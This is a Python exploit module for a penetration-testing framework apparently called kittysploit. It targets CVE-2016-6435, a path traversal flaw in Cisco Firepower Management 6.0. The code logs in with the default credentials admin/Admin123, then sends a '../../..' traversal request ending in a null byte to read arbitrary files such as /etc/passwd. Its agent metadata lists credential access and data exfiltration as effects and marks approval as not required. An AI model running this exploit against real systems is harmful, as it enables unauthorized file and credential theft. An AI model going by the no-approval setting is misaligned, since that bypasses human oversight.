Cisco Firepower Management 6.0 Path Traversal

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco Firepower Management 6.0 Path Traversal"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Cisco Firepower Management 6.0 Path Traversal',
        'description': 'Module exploits Cisco Firepower Management 6.0 Path Traversal vulnerability. If the target is vulnerable, it is possible to retrieve content of the arbitrary files.',
        'author': ['Matt', 'sinn3r', 'Marcin Bury'],
        'cve': ['CVE-2016-6435'],
        'platform': Platform.LINUX,
        'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6435', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking'],
        'tags': ['iot', 'router', 'lfi', 'unauth', 'cve-2016-6435', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    path = OptString("/etc/passwd", 'File to read through vulnerability')
    username = OptString("admin", 'Default username to log in')
    password = OptString("Admin123", 'Default password to log in')

    def run(self):
        self.session = requests.Session()

        if self.check():
            print_success("Target seems to be vulnerable")
            print_status("Trying to authenticate")
            if self.login():
                file_path = "../../..{}".format(self.path)
                path = "/events/reports/view.cgi?download=1&files={}%00".format(file_path)

                print_status("Requesting: {}".format(file_path))
                response = self.http_request(
                    method="GET",
                    path=path,
                    session=self.session
                )

                if response is None:
                    print_error("Exploit failed")
                    return

                print_status("Reading response...")

                if not len(response.text) or "empty or is not available to view" in response.text:
                    print_error("Exploit failed. Empty response.")
                else:
                    print_info(response.text)

            else:
                print_error("Exploit failed. Could not authenticate.")
        else:
            print_error("Exploit failed. Target seems to be not vulnerable.")
    def check(self):
        response = self.http_request(
            method="GET",
            path="/login.cgi?logout=1"
        )

        if response is not None and "6.0.1" in response.text:
            return True  # target is vulnerable

        return False  # target is not vulnerable
    def login(self):
        data = {
            "username": self.username,
            "password": self.password,
            "target": "",
        }

        response = self.http_request(
            method="POST",
            path="/login.cgi?logout=1",
            data=data,
            allow_redirects=False,
            timeout=30,
            session=self.session
        )

        if response is None:
            return False

        if response.status_code == 302 and "CGISESSID" in response.cookies.get_dict().keys():
            print_status("CGI Session ID: {}".format(response.cookies.get_dict()['CGISESSID']))
            print_success("Authenticated as {}:{}".format(self.username, self.password))
            return True

        return False